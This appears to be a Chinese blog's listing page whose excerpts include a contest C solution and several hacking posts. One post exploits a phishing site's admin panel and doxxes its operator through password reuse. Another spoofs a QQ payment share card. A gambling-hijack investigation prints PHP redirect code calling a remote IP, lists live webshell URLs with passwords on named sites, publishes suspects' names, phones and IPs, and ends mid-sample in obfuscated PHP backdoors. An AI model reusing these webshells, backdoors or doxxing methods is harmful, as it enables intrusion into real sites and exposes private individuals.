首页
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
更多
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
Search
1
全网首发-小米AX6000路由器解锁ssh并固化ssh+2.5G有线mesh组网+公网访问路由后台+红米AX6/小米AX6/AX3600/AX6000/AX9000全系列适用
6,745 阅读
2
青龙面板必装依赖及青龙各种问题解决
3,916 阅读
3
NAS一键批量清除重复文件
3,535 阅读
4
群辉DSM7.0.1安装bootstrap后解决wget: error while loading shared libraries: libgnuintl.so.8: cannot open shared object file: No such file or directory
1,598 阅读
5
《爱情公寓4》全集高清迅雷下载
894 阅读
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
登录
Search
标签搜索
wordpress
News
iphone
vb
iOS
technology
渗透
QQ
php
talk
JavaScript
hack
Typecho
NAS
福利
c++
diy
c
免杀
评测
Jonty
累计撰写
275
篇文章
累计收到
976
条评论
今日撰写
0
篇文章
首页
栏目
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
页面
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
用户登录
登录
搜索到
70
篇与
的结果
2023-03-16
全网首发-小米AX6000路由器解锁ssh并固化ssh+2.5G有线mesh组网+公网访问路由后台+红米AX6/小米AX6/AX3600/AX6000/AX9000全系列适用
全网首发-小米AX6000路由器解锁ssh并固化ssh+2.5G有线mesh组网+公网访问路由后台+红米AX6/小米AX6/AX3600/AX6000/AX9000全系列适用
2023年03月16日
6,745 阅读
71 评论
1 点赞
2017-04-18
2017第八届蓝桥杯 购物单答案
标题: 购物单 小明刚刚找到工作,老板人很好,只是老板夫人很爱购物。老板忙的时候经常让小明帮忙到商场代为购物。小明很厌烦,但又不好推辞。 这不,XX大促销又来了!老板夫人开出了长长的购物单,都是有打折优惠的。 小明也有个怪癖,不到万不得已,从不刷卡,直接现金搞定。 现在小明很心烦,请你帮他计算一下,需要从取款机上取多少现金,才能搞定这次购物。 取款机只能提供100元面额的纸币。小明想尽可能少取些现金,够用就行了。 你的任务是计算出,小明最少需要取多少现金。 以下是让人头疼的购物单,为了保护隐私,物品名称被隐藏了。 -------------------- **** 180.90 88折 **** 10.25 65折 **** 56.14 9折 **** 104.65 9折 **** 100.30 88折 **** 297.15 半价 **** 26.75 65折 **** 130.62 半价 **** 240.28 58折 **** 270.62 8折 **** 115.87 88折 **** 247.34 95折 **** 73.21 9折 **** 101.00 半价 **** 79.54 半价 **** 278.44 7折 **** 199.26 半价 **** 12.97 9折 **** 166.30 78折 **** 125.50 58折 **** 84.98 9折 **** 113.35 68折 **** 166.57 半价 **** 42.56 9折 **** 81.90 95折 **** 131.78 8折 **** 255.89 78折 **** 109.17 9折 **** 146.69 68折 **** 139.33 65折 **** 141.16 78折 **** 154.74 8折 **** 59.42 8折 **** 85.44 68折 **** 293.70 88折 **** 261.79 65折 **** 11.30 88折 **** 268.27 58折 **** 128.29 88折 **** 251.03 8折 **** 208.39 75折 **** 128.88 75折 **** 62.06 9折 **** 225.87 75折 **** 12.89 75折 **** 34.28 75折 **** 62.16 58折 **** 129.12 半价 **** 218.37 半价 **** 289.69 8折 -------------------- 需要说明的是,88折指的是按标价的88%计算,而8折是按80%计算,余者类推。 特别地,半价是按50%计算。 请提交小明要从取款机上提取的金额,单位是元。 答案是一个整数,类似4300的样子,结尾必然是00,不要填写任何多余的内容。 特别提醒:不许携带计算器入场,也不能打开手机。第一种方法用excel,数据稍微处理下。第二种用代码实现。//处理后的数据,用替换处理,别出错了。 180.90 88 10.25 65 56.14 90 104.65 90 100.30 88 297.15 50 26.75 65 130.62 50 240.28 58 270.62 80 115.87 88 247.34 95 73.21 90 101.00 50 79.54 50 278.44 70 199.26 50 12.97 90 166.30 78 125.50 58 84.98 90 113.35 68 166.57 50 42.56 90 81.90 95 131.78 80 255.89 78 109.17 90 146.69 68 139.33 65 141.16 78 154.74 80 59.42 80 85.44 68 293.70 88 261.79 65 11.30 88 268.27 58 128.29 88 251.03 80 208.39 75 128.88 75 62.06 90 225.87 75 12.89 75 34.28 75 62.16 58 129.12 50 218.37 50 289.69 80//代码如下 #include<stdio.h> int main() { FILE *fp; if( (fp=fopen("1.txt","r")) ==NULL) { printf("ERROR"); exit(0); } float sum=0; float a[50]; int b[50]; char c; for(int i=0;i<50;i++)//50为行数 { fscanf(fp,"%f%c%d",&a[i],&c,&b[i]); sum+=a[i]*b[i]/100; //printf("%.2f %d\n",a[i],b[i]); } printf("%f\n",sum); close(fp); }
2017年04月18日
109 阅读
0 评论
0 点赞
2017-03-10
递推和递归方法在C语言程序设计中的应用
## 1.递归和递推算法 递归作为一种算法在程序设计语言中广泛应用。它是调用一个函数的过程中又出现直接或者间接地调用该函数本身。递归是计算机科学的一个重要概念,递归的方法是程序设计中有效的方法,采用递归编写程序能使程序变得简洁和清晰。递推算法是一种用若干步可重复的简运算(规律)来描述复杂问题的方法。递推是序列计算机中的一种常用算法。递推法的特点是从一个已知的事实出发,按照一定规律推出下一个事实,再从这个新的已知事实出发,再向下推出一个新的事实。 ## 2.问题提出 一场球赛开始前,售票工作正在紧张进行中,每张球票为50元,现有m+n个人排队等待购票,其中有m个人手持50元的钞票,另外n个人手持100元的钞票。假设开始售票时售票处没有零钱,求出这m+n个人排队购票,使售票处不至出现找不开钱的局面的不同排队种数(这里正整数m、n从键盘输入)。这个问题用一般的解决方法非常麻烦,下面用递归和递推方法解决。 ## 3 购票问题分析 这是一道组合计数问题。令f(m,n)表示有m个人手持50元的钞票,n个人手持100元的钞票时共有的方案总数。 (1)n=0。n=0意味着排队购票的所有人手中拿的都是50元的钞票,那么这m个人的排队总数为1,即f(m,0)=1。 (2)m
2017年03月10日
95 阅读
0 评论
0 点赞
2017-03-03
注意,你注册的假1024可能就是它[社工]
目标站 http://www.caoliu10240.com/1024大家并不陌生把 没错今天说的就是一个草榴的钓鱼网站,网站是假的,可收集你个人帐号和密码信息确实真的!点击任何东西都要你注册 抱着激动的心情我们注册一个试试,然而注册完了需要你交钱成为vip才能给你看,或者还有一个办法就是要你推广到各个群 要有是个人通过你的邀请连接注册了那么你就能不用交钱成为会员,我相信大部分人都会选择丢到个大群让别人去注册把,然而就算通过你的邀请连接注册了上百人上万人你也根本不会成为那传说中的SVIP然而这并没有什么卵用,他们的目的就是为了收集你的帐号密码,然后通过你发送的邀请连接收集跟多人个人账户密码,滚雪球一样,没有限制,也没有终点!下面就是日战环节 国际惯例随手试了一个admin找到了后台 熟悉的界面良精南方cms直接利用越权添加账户密码漏洞添加一个管理员 然后我们进入后台看看把阉割版 试了几种那shell方法就不成功 编辑器组建被删除 上传点被删除 网站配置没敢插 怕插坏了配置线面工作就没法干了 继续看截止到昨天就有10000+用户的信息被收集 用户名 密码 邮箱既然搞不定shell 那么我们就搞管理员了通过whois信息查询到邮箱一枚空间里面都是买药的 不知道药是真是假不敢相信一个妹子搭建黄色网站收集用户个人信息 继续社工通过百度得知 他有经常活跃在糗事百科用户名为 風夜殤通过这条信息可以知道他是做网赚的 好了 继续翻他给评论别人帖子 要种子 这个不像是妹子能做出来的啊 从这里得到了另一个通过这个qq的QQ群历史备注查出来 名叫申燕鹏 完全一个妹子的名字啊 目测这个是生活号 进空间看看可以推断 1月27是生日 今年20 那么就是1997年出生的 19970127经常在这里运动 坐标河南省郑州市通过留言板找到手机号 但是是2012年的 不确定现在还用不用了百度搜索qq号得到百度帐号关注1024那你还关注戒色 在下佩服 虽然关注了微博互粉但是我并没有找到他的微博 技术不够啊 通过关注的小米贴吧可以猜测他用的是小米手机现在有了 手机号 两个QQ号 还有一个百度帐号 还有一个常用用户名我们继续用用户名搜索一下了得到他在dosyp论坛有帐号 测试帐号密码有惊喜 户名名和密码是一样的可以看到这就是他生活号邮箱 我们继续搜索注册了知乎 我们继续登录测试经过几次测试用生活号邮箱+某度账户名登录成功一个二十岁的小伙子 整天关注的都是些什么鬼这个站密码猜死我了 最后没办法用钓鱼网站后台密密码登录测试成功了 可以确定是这个人可以确定是这个人了通过ip查出来的地址通过生活号+黄色网站后台密码登录成功通过生活号邮箱+某度帐号登录成功然而本人不才 没能拿下百度帐号为了验证手机号他现在还在用 我去登录小米试试通过两小时的猜测密码还是和前面的某站用户名一样 +手机号登录成功 但是异地登录要手机验证 怎么绕过那 突然想到了 登录小米论坛不需要验证 然后去登录小米论坛小米论坛登录成功通过小米的手机找回 定位成功有两台设备 然而想查看手机相册通讯录需要手机验证 或者邮箱验证 这两个一个没拿下来 太可惜登录米聊可以确定手机号是他现在还在用的然而名字是妹子的名字 感觉名字出错了 所以用手机号去找回密码测试*炎朋不对啊 前面QQ群关系查出来的不是这个名字啊 通过对照 QQ群馆续得到的是申燕鹏然而我们支付宝的又不一样 直接转账 会提示验证名字 出来得就是后面两个字 我们第一个试试申 验证功过最后得出的结论 真实姓名申炎朋世纪佳缘从这里可以看的出来他只在找人做那个钓鱼网站 2015年1月16号开始策划到现在已经两年了我们继续测试密码登录猪八戒网通过生活号邮箱+钓鱼网站后台登录密码 成功进入猪八戒网从这里再次确认手机号就是他的还有通过手机号找到的微信号啊 qq号找到的微信号啊 什么的都不贴出来了信息都明确了他们收集这些信息有啥用用处太多了 每一条都能影响到你钱财安全 甚至是人生安全 大家可以自行百度信息泄漏的危害第二季:手撕風夜殤保护个人信息的常用方法(良好的习惯)1.不要使用简单的密码。123456,名字拼音+生日(123)之类的.(网友提醒可以在原密码后加上+1s) 2.不要N个网站用同一个密码,防止撞库。 3.不要随便在网上留QQ放真名甚至是你的身份证号。 4.不要随便连接公共WiFi。 5.不要用安全性弱的邮箱(我没有针对任何厂商)并且不要用该邮箱绑定支付宝或者苹果ID。 6.家里的WiFi管理后台账号密码不要设为默认,必要的话可以做一下MAC绑定。 7.分辨钓鱼网站。 8.不要随便扫二维码。 9.不要随便接收来历不明的文件。 10.我个人不推荐小白的电脑不安装安全防护软件。 11.如果知道自己注册的网站曝出安全问题,立马去改密码。 12.登陆开启二次验证。 13.淘宝购物订单不建议填写真名(神秘代码:bWFnbmV0Oj94dD11cm46YnRpaDpBNUUzQjQ2OUZFMThBQ0NBRjg5RjgyNTlBMDVBREFCNzQ2RUY0Rjgy)BASE64
2017年03月03日
78 阅读
18 评论
0 点赞
2016-12-24
自己实现QQ群自定义分享(管理员开启了群交易?)
不依赖任何第三方网站,自己动手实现自定义的分享比如管理员已开启群交易原理:对于分享内容,QQ会读取网站的meta并展示出来举个例子,访问 http://connect.qq.com/w...oecraft.net/ 就可以分享截图所示的内容了。https://connect.qq.com/widget/shareqq/index.html?url=https://accounts.moecraft.net/jiaoyi.html&desc=&title=%E7%AE%A1%E7%90%86%E5%91%98%E5%B7%B2%E5%BC%80%E5%90%AF%E7%BE%A4%E4%BA%A4%E6%98%93&summary=%E6%94%AF%E4%BB%98%E5%AE%9D%E8%BD%AC%E8%B4%A6%E5%88%B0771644051@qq.com%E5%8D%B3%E5%8F%AF%E5%8F%82%E4%B8%8E%E4%BA%A4%E6%98%93&pics=https://accounts.moecraft.net/Public/img/donate-alipay.jpg&site=https://accounts.moecraft.net/有兴趣可以去研究下QQ分享组件(点我)动手实现1.准备一个HTML页面<!DOCTYPE html> <html> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8”> <meta charset=”utf-8”> <meta name=”description” itemprop=”description” content=”主要内容”> <meta itemprop=”name” content=”标题”> </head> </html>然后保存这个页面到你的网站(编码:UTF-8无BOM),记住URL2.构造分享网址以下是参数说明:http://connect.qq.com/widget/shareqq/index.html?url=刚才的URL&desc=&title=标题&summary=主要内容&pics=左侧图片网址&site=左下角字符注意:所有你填写的内容都需要进行URL编码(urlencode)比如文章开头的群交易3.访问这个你写好的地址分享给你的好友或者群
2016年12月24日
112 阅读
0 评论
0 点赞
2016-11-02
中国最大的Webshell后门箱子调查,所有公开大马全军覆没
起因对这件事情的起因是某天我渗透了一个大站,第二天进webshell时就发现,当前目录出现了新的后门,仔细一查,发现是博彩团伙干的,网站被全局劫持黑帽程序如下代码set_time_limit(20);error_reporting(0); define('u_b','/'); define('s_u','http:// 107.182.228.74/'); define('s_s','@haosou.com|360.cn| spider|360spider|so|360|sogou|sm.cn|youdao@i'); define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p()); function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;} if(preg_match(s_s,r_s)){$d_s=true;if(preg_match("@site%3A|inurl%3A@i",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s ){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header("Location: ".$d_c.'?'.h_t);exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}https://www.so.com/s?q=%E5%A8%B1%E4%B9%90%E5%9C%BA&src=srp&fr=360sou_newhome&adv_t=d看上去是针对360的,通过360去搜索site网站赌博相关的关键字出现的结果我惊呆了!!!!居然非常多的站被劫持,而且其中包括我渗透测试的不少站,看上去像是搜索引擎自己控制的排名一样,其实是非法分子利用了搜索引擎的排名算法规则。通过收录时间发现在2014年开始出现的,也就是说这个问题已经存在了多年之久,至今才暴露出来。接下来我就开展了所有疑问的调查,因为这些东西被利用对社会影响实在太大,不仅仅我是唯一的受害者,而是这个安全圈子的所有人。调查找到幕后团伙 查大马问题 分析团伙的后门特征1.我对我手里的shell进行了一遍梳理,首先是对后门进行新的地址修改,在原来的后门地址放上了js代码,该段代码记录的是相关指纹信息,以及各大网站的json获取。此时就是静静的等待。2.我对大马又进行了一遍分析,把所有代码读烂了也没任何问题,同时也对马进行了抓包分析,没有任何外部请求。因为一直没发现问题,所以我特意进行了长达一周的数据包监控,还是没有任何结果。这时候就非常纳闷,既然马没有问题,为什么人家可以获取到我的所有后门?难道是我的电脑被入侵?我的网络环境除了http之外,不能做任何协议请求,而我的后门都保存在这台linux里,这点也可以排除。只好再想想是不是哪里疏忽了。3.被该团队劫持过的站,我都检查了一遍,之后我发现,每个站的所有文件创建时间都会被他们更新到入侵时间,这刚好符合了特征,也就是刚被他们入侵过的站。如图特征,几乎每个站被入侵后所有创建时间都会更新一次。之后对他们自己的后门进行了采集样本,新的进展出现了,一共发现2波不同的团伙,但使用的大马均为一类。(见附件1)我对他们的马进行了解密审计后发现,他们自己记录大马后门的箱子地址为api.fwqadmin.com,因为有了新的线索,所以只能暂时保存,后面再对这个进行渗透。进展经过两天的等待,终于得到了该团伙的指纹信息以及QQ号,然后我就开启大神模式进行社工,之后基本确认此人真实信息(圈内叫老袁)。然后我申请了一个QQ小号,以匿名的方式加了一些博彩导航网站上的qq,在QQ上问了好几个人,都没有结果,后来我干脆以做博彩的名义和他们进行深度沟通,通过沟通发现该团伙的shell都是收购来的,一个月收入几百万人民币,是否真实就不得而知了。目前基本可以确认我的判断错误,老袁就是唯一的线索。我对被该团伙做劫持的所有站进行了采集,还有跳转到他们导航的域名。首先对那些不是我的站进行了渗透入侵,采集到后门样本,看到里面有个和我类似的大马,但是核心变量结构不一样,我下载回来进行审计抓包同样没问题,后来通过对比特征,发现大马请求的POST参数都是一样的,例如gopwd=密码&godir= ,马都没异常,这时候初步判断是上层网络出现了问题,通过流量提取到大马特征的地址,如果真是这样就太可怕了。我联系到老袁了,和他进行了一些盘问式的沟通,感觉到他很害怕,他说别搞他,他以前做诈骗的。后来发了一些shell地址给我来讨好我,如下列表,下面是星际团队的:http://www.copperhome.net/file/avatar/31/cb/index.php?1=1&f=k HyhbokskjGrsjhjM8hsL_hgshgK http://www.212200.com/mocuz/downapp/images/pclife.php?1=2&Z=Opm Hys7sa5wrKKO00GSBtashras28asNNmsn18 http://www.dailiba.com/about/index.php?v=1 Tmbdcuu123uualltop http://www.chinaunix.net/mysql/tmp/hoem.php?1=1&f=k HyhbokskjGrsjhjM8hsL_hgshgK http://domarketing.org/phpsso_server/caches/commons/index.php?v=2ss ytsadAskLs27ssJsjdasd2sS http://www.baby-edu.com/member/admin/include/fields/box/index.php?v=qw ytsadAskLs27ssJsjdasd2sS http://www.hongze365.com/data/avatar/1/f/1.gif?1=2&GSW=Curry TTrsfsdh748jsusyKKOystw889sbct http://www.xiashanet.com/Head_Foot/bak/top900x40.php?1=2&BAT=HEHEDE 77iasyw00aUUSImmsb64682301jMM!!!Qko http://www.hbmykjxy.cn/2015/0106/4589.php?1=2&GSW=Curry TTrsfsdh748jsusyKKOystw889sbct http://www.copperhome.net/file/avatar/31/cb/index.php?1=1&f=k HyhbokskjGrsjhjM8hsL_hgshgK http://www.dailiba.com/about/index.php?v=1 Tmbdcuu123uualltop http://www.hubeifc.com/phpcms/modules/content/classes/commentl_api.class.php UTF8 http://domarketing.org/phpsso_server/caches/commons/index.php?v=2ss ytsadAskLs27ssJsjdasd2sS http://www.huse.edu.cn/phpsso_server/phpcms/languages/en-us/condif.inc.php?v=sd ytsadAskLs27ssJsjdasd2sS http://www.xiashanet.com/Head_Foot/bak/top900x40.php?1=2&BAT=HEHEDE 77iasyw00aUUSImmsb64682301jMM!!!Qko http://www.hbmykjxy.cn/2015/0106/4589.php?1=2&GSW=Curry TTrsfsdh748jsusyKKOystw889sbct http://www.hongze365.com/data/avatar/1/f/1.gif?1=2&GSW=Curry TTrsfsdh748jsusyKKOystw889sbct http://bbs.fish3000.com/mobcent/app/config/discuz.bak.php?1=2&TD=SAS UUys78tasdRhasd00iasdyTGGgahs http://bbs.dqdaily.com/uc_server/install/images/close.php?1=2&sha=shan 7yJJN730%1&uqYYqwhkkasII17vcxQ1mzaPQhn8!P http://www.aquasmart.cn/member/fckeditor/editor/css/friend.php?1=1&f=k HyhbokskjGrsjhjM8hsL_hgshgK http://www.yangji.com/member/editor/fckeditor/editor/dtd/fck_dtd_test.gif?1=2&BAT=HEHEDE 77iasyw00aUUSImmsb64682301jMM!!!Qko http://www.shenma66.com/nvzhubo/baorurekuxiongmiaonvzhuboMinanaxingganrewuzhiboshipin/inde.php 7yhaw1woAksmjh892jsasd1sajg http://www.shenma66.com/nvzhubo/baorurekuxiongmiaonvzhuboMinanaxingganrewuzhiboshipin/inde.php 7yhaw1woAksmjh892jsasd1sajg http://bbs.taisha.org/pms/data/templates/wind_homes.tpl.php?baidu=Google erk12hj3nfher71h3j4k132bnnebr3hg4134 http://www.168w.cc/api/map/baidu/baidu.php?1=1&f=k HyhbokskjGrsjhjM8hsL_hgshgK http://www.dibaichina.com/goldcard/data/alliance/images/GHMC.php?1=1&baidu=.com Tmbdcuu123uualltop http://www.ijcz.cn/module/brandjoin/join.claos.php?1=2&BK=ManUtd YIasdwj78954qwtyVVJsarwhahuyrwvsllps2 http://www.xiashanet.com/Head_Foot/bak/top900x40.php?1=2&BAT=HEHEDE 77iasyw00aUUSImmsb64682301jMM!!!Qkos http://www.hotpoll.com.cn/i/index.php?v=111 heiheideheihei星际团队是什么鬼?难不成又是做博彩的?通过与老袁进一步沟通后发现,这些shell都是另一个做博彩的,他说是博彩圈子最大的团伙,说实话,我挺兴奋的,发觉这件事越来越有趣了,我倒想看看这是些什么人。不过现在我的目标还在“老袁”身上,因为我得找到卖他shell的人,经过一番较量之后,我得到到了真相,我也叫他提供了交易证据。此处略去不表,我会放到后面取证部分。虽说有了shell卖家的联系方式,可是迟迟没添加上。这时候我又采取了另一种思路,钓鱼取证,老套路,还是在大马地址上js json,上面贴了几段字《add me email:xxx@xxx.com I will give you all webshell》让老袁发给让他,以便他主动联系我。后来他果真访问了几个webshell的地址,我也抓取到了他的真实PC指纹以及代理的指纹以及QQ昵称。之后他主动找到我,问我是不是星际团队的,并说收到我发的邮件了。这时候我就很好奇了,莫非星际团队也找到他了?然后他就来恐吓我,说要抓你们(星际团队),已经调查了星际团队一年了。这时候我心一想,水真深,查来查去的到底是谁在查谁呢。不过他肯定是瞒不过我的,毕竟我有他卖shell的证据,不过意想不到的是他说:“我背后都是省厅的人,你以为这些shell都是怎么来的?都是在国家机器提取的。”我勒个去,国家会干这种事吗?国家提取网站记录我是信,isp保留日志也是1年,至于批量提取全国网站访问特征拿出来卖这我就不信了,要么就是黑客入侵到了运营商去提取出来的。经过了一些沟通后,他居然一直说我是星际团队,就把我拉黑了。后来我就主动加他说:“你是河北的吧,我已经有你犯罪证据了。”他就怕了,主动加我认怂,还发了打包好的webshell给我。这时候我又惊呆了,这简直是逆天的节奏,居然有上万个webshell和国内所有cms的后台登录密码,其中包括dedecms discuz wordpress emlog ecshop empire jieqi phpmyadmin uchome ucenter php168等几乎是全国所有cms都存在,而且每种的数量去重复都在上万条,我会上传一部分在附件。他说他背后的人的有几十万的discuz后台登录账户密码,我测试了他发我的一些后台,均可以登录,其中信息包括登录的fromhash uid 用户名、密码 、安全问题 、安全答案,而且都是前一天的。到底是什么东西能记录如此多东西而且还没有一点异常。我看到其中也有我使用过大马的很多站,里面还有上万条webshell,其中有大量我的站,还有大量各种类型的大马和不同密码,看样子并非我一个人受害,我进行特征匹配出来,大概有上百人的大马不同特征。而且他发我的只是很小一部分,叫我给他钱才给我更多。这样一想他手里的资源都有几十万条了吧。他说他后面的人是技术团队,还有各种0day,是给国家干的,手里有全国的webshell,如果真是他说的这样,那资源为什么出现在他这里了还拿出来卖?很明显是撒谎怕我查他。我不相信,决定继续调查。经过几天的分析,这波数据和以前wooyun曝光的出来的九宫格(大家可以回溯一下2013年的http://www.dedebox.com/core/centerxxxxx.php)是一样的,我对当时的数据也进行了打包分析,发现这波shell里面还存在部分的重复数据。而当前这个大马和当时九宫格的登录参数特征基本都是在Spider PHP Shell(SPS-)这款代码的基础上修改的,也就是说除了后门本身,这伙人还通过其他渠道来提取的大量webshell,之后通过webshell去运行了记录后台数据的代码写入内存中僵死代码,保持着只要不换服务器就常年不死的状态,这也还是猜想,因为后台数据里面有些站的确是九宫格重复的,如果是九宫格后门的话我就有新方向可查了,以上是我进行的大致分析和调查过程。下面我就不描述过程,就直接提供数据记录以及取证结果,交给警方去完成了。取证以下这几个是团伙一(老袁)跳转到的域名:116305.net 559160.net 618309.net 786077.net 551809.com www.919808.net www.226830.com均出自同一团伙的,只是域名不同,每个站跳转到不同的域名分散风险罢了,其中劫持代码里面的ip都是一样107.182.228.74,看得出来很老练。这几个是模拟蜘蛛抓取劫持内容的bc logo图片地址的ip:210.126.27.70 pic.root1111.com 58.96.179.132 104.202.66.226此团伙工作环境ip,都在马来西亚(时间在10月9-号到10月26号以内的)2016-10-26 13:00:01 ( IP 14.192.210.34 ) 马来西亚Windows NT 10.0, MSIE 49.0,Firefox 49.0, 1536×864 2016-10-26 13:20:09 ( IP 103.6.245.143 ) 马来西亚Windows NT 10.0, MSIE 49.0,Firefox 49.0, 1536×864 2016-10-26 13:00:25 ( IP 175.141.34.101 ) 马来西亚Windows NT 6.3, Chrome 50.0.2661,QQBrowser 9.5.9244, 1920×1080 2016-10-24 13:59:17 ( IP 175.136.41.251 ) 马来西亚Windows 7 & 2008 r2, MSIE 49.0,Firefox 49.0, 1536×864 2016-10-25 14:28:11 ( IP 175.143.101.241 ) 马来西亚 Windows NT 10.0, Chrome 47.0.2526, 1920×1080 2016-10-26 13:20:09 ( IP 103.6.245.143 ) 马来西亚Windows NT 10.0, MSIE 49.0,Firefox 49.0, 1536×864 14.192.211.116 马来西亚 14.192.211.223 马来西亚 175.138.234.137马来西亚工作PC指纹(分析此团伙有5个人):Windows NT 6.3, MSIE 11.0,QQBrowser 9.5.9244, 1920×1080, 224 色 Windows 7 & 2008 r2, MSIE 49.0,Firefox 49.0, 1536×864 Windows NT 10.0, Chrome 47.0.2526, 1920×1080 Windows XP, MSIE 6.0, 1126×800 Windows Server 2003, Chrome 49.0.2623, 1920×1080 Windows NT 10.0, MSIE 49.0,Firefox 49.0, 1536×864此团伙首领信息QQ 474304849 641075512 真实姓名:袁立 重庆人 手机号:15998984721 手机MAC:18:9E:FC:11:2C:70 马来西亚手机号:060136958999他的网站:www.badongedu.com www.7cq.tv(他建立的地方论坛) api.fwqadmin.com(这个是他自己正在使用的大马自己留的后门收信地址)附件会有大马样本有兴趣的可以看看 Email:root@7cq.tv pianziso@163.com在国内的历史IP:222.178.225.146(重庆市 电信) 222.178.201.12(重庆市 电信) 27.11.4.19(重庆市 联通) 27.10.36.56(重庆市 联通) 113.204.194.202(重庆市 联通) 119.84.66.14(重庆市 电信) 61.161.125.77(重庆市巴南区 时代e行线网迷俱乐部李家沱店A/B馆)国内的历史PC信息:mac:90-2b-34-93-ad-73 操作系统:Microsoft Windows XP 显卡:NVIDIA GeForce GT 610 CPU:AMD Athlon(tm) II X4 640 Processor 3325HZ 团伙成员信息就没去调查了,找到他就可以了。 WebShell卖家(一切安好)信息VPN代理 :110.10.176.127 韩国 2016-10-24 22:26:37 ( IP 211.110.17.189 ) 韩国 (自己比特币购买的主机搭建)访问时间10月9号真实IP:2016-10-26 16:23:27 ( IP 121.18.238.18 ) 河北省保定市 上海网宿科技股份有限公司联通CDN节点 Windows NT 10.0, Chrome 47.0.2526, 1920×1080 27.186.126.196 河北省保定市 电信 真实ip可能性更大浏览器指纹信息 ,一共3个不同的,但应该都是同一个人,可能电脑比较多,因为他有2个QQWindows NT 6.3, Chrome 45.0.2454, 1366×768 真实指纹 Windows NT 10.0, Chrome 47.0.2526, 1920×1080 Windows NT 6.3, Chrome 45.0.2454, 1366×768, 224 色, 未装 Alexa 工具 Windows NT 10.0, Chrome 53.0.2785, 1600×900, 224 色, QQ2436449670 3496357182 Telegram:@haorenge888此人现在开的奥迪A8,真是土豪啊,看来赚了不少钱还能逍遥法外,是河北口音即河北人。如要查到webshell来源只有查他的幕后渠道。他与老袁的交易信息:。星际团伙信息使用过的域名:wokeda.cn www.98589.com www.356388.com chuan2828.com cnzzz.pw web-159.com diyi1111.com diyi2222.com diyi3333.com diyi4444.com xinyu55.com hongyihai.com 80268.com 5130898.com maimai789.com zhenyi58.com xwgy999.com统计代码document.writeln("<div style=\"display:none;\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/js.users.51.la\/18737987.js\"><\/script><\/div>"); var hmt = hmt || []; (function() { var hm = document.createElement("script"); hm.src = "//hm.baidu.com/hm.js?c1c374db31da00a022c09301920eff78"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s) })(); callJump() } } } if (init_flag == "93989") { call_init_error() }可以通过他们网站的统计代码分析登录的记录马来西亚的ip就是真实ip搜索各大搜索引擎爬取跳转到他们的站,和快照特征,竟然有超过1000个被他们劫持过的网站,其中包括了不少全国最大的新闻网站如ifeng.com china.com.cn,如果警方需要我可以提供列表星际劫持团伙在马来西亚,成员大概6个人左右,团伙渗透的手段包括但不限于鱼叉,社工,爆破,xday,漏洞均会爬虫批量去入侵,每次入侵后喜欢留大量的后门,防止权限掉了。成员分工:二名核心技术渗透人员(其中一名主要负责攻击,入侵大型新闻类型站点。一名主要负责代码审计,以及内部一系列php的开发,包括劫持程序,外兼入侵一些中型权重站点) 一名普通技术渗透(对扫描出漏洞的垃圾站点进行入侵) 二名负责挂劫持代码,如果站掉了就会去恢复 一名负责bc网站上的市场兼财务,收账出帐以及收站核心成员在2015年12月份从马来西亚回中国至2016年2月左右返回马来西亚以上是我通过圈内人员采取一些手段了解到的信息,因为这个团伙安全意识比较高,没得到太多真实信息,但是有一位给他们做过外包的黑客可以顺藤摸瓜星际使用过的QQ :3151094164 最早的时候 著名的美女黑客:YingCracker QQ:253778XXX 984754XXX 113244XXX 手机: 1366XXXX or 13665XXXXX 姓名: 江XX 所在省份: 福建 所在城市: 福州 所在地区: 台江找到这位美女黑客去了解下此团伙的情况应该会有进展他们的后门样本:<?php @$A='Acc';$p='_';$o='PO';$s='S';$t='T';$a='as';$b='sert';$Acc=$a.$b;@${$A}(${$p.$o.$s.$t}[ziiuioxs]); echo 'error';exit;?> <?php @$ksvSGu= "\x73tr\x5f\x72e\x70l\x61\x63e"; @$xRec= @$ksvSGu('wcaSq','','awcaSqrrwcaSqawcaSqywcaSq_filwcaSqter'); @$SOet= @$ksvSGu('wZTB','','aswZTBsewZTBrwZTBt'); @$xRec((array)@$_REQUEST['rretgscr'],@$SOet); ?> <?php if($_GET['jumpvv']){ $tu="TVFsnZG9vcnB5J"; $mzd="10pOwoK"; $fc="Cg"; $tnz = str_replace("rn","","rnstrnrrn_rrnernprnlrnarncrne"); $nu="pqldmqFsKCRfUE9"; $qwb = $tnz("u", "", "ubuausue6u4u_udueucoudue"); $lcq = $tnz("j","","jcrjejatej_jfujnjcjtjiojn"); $htx = 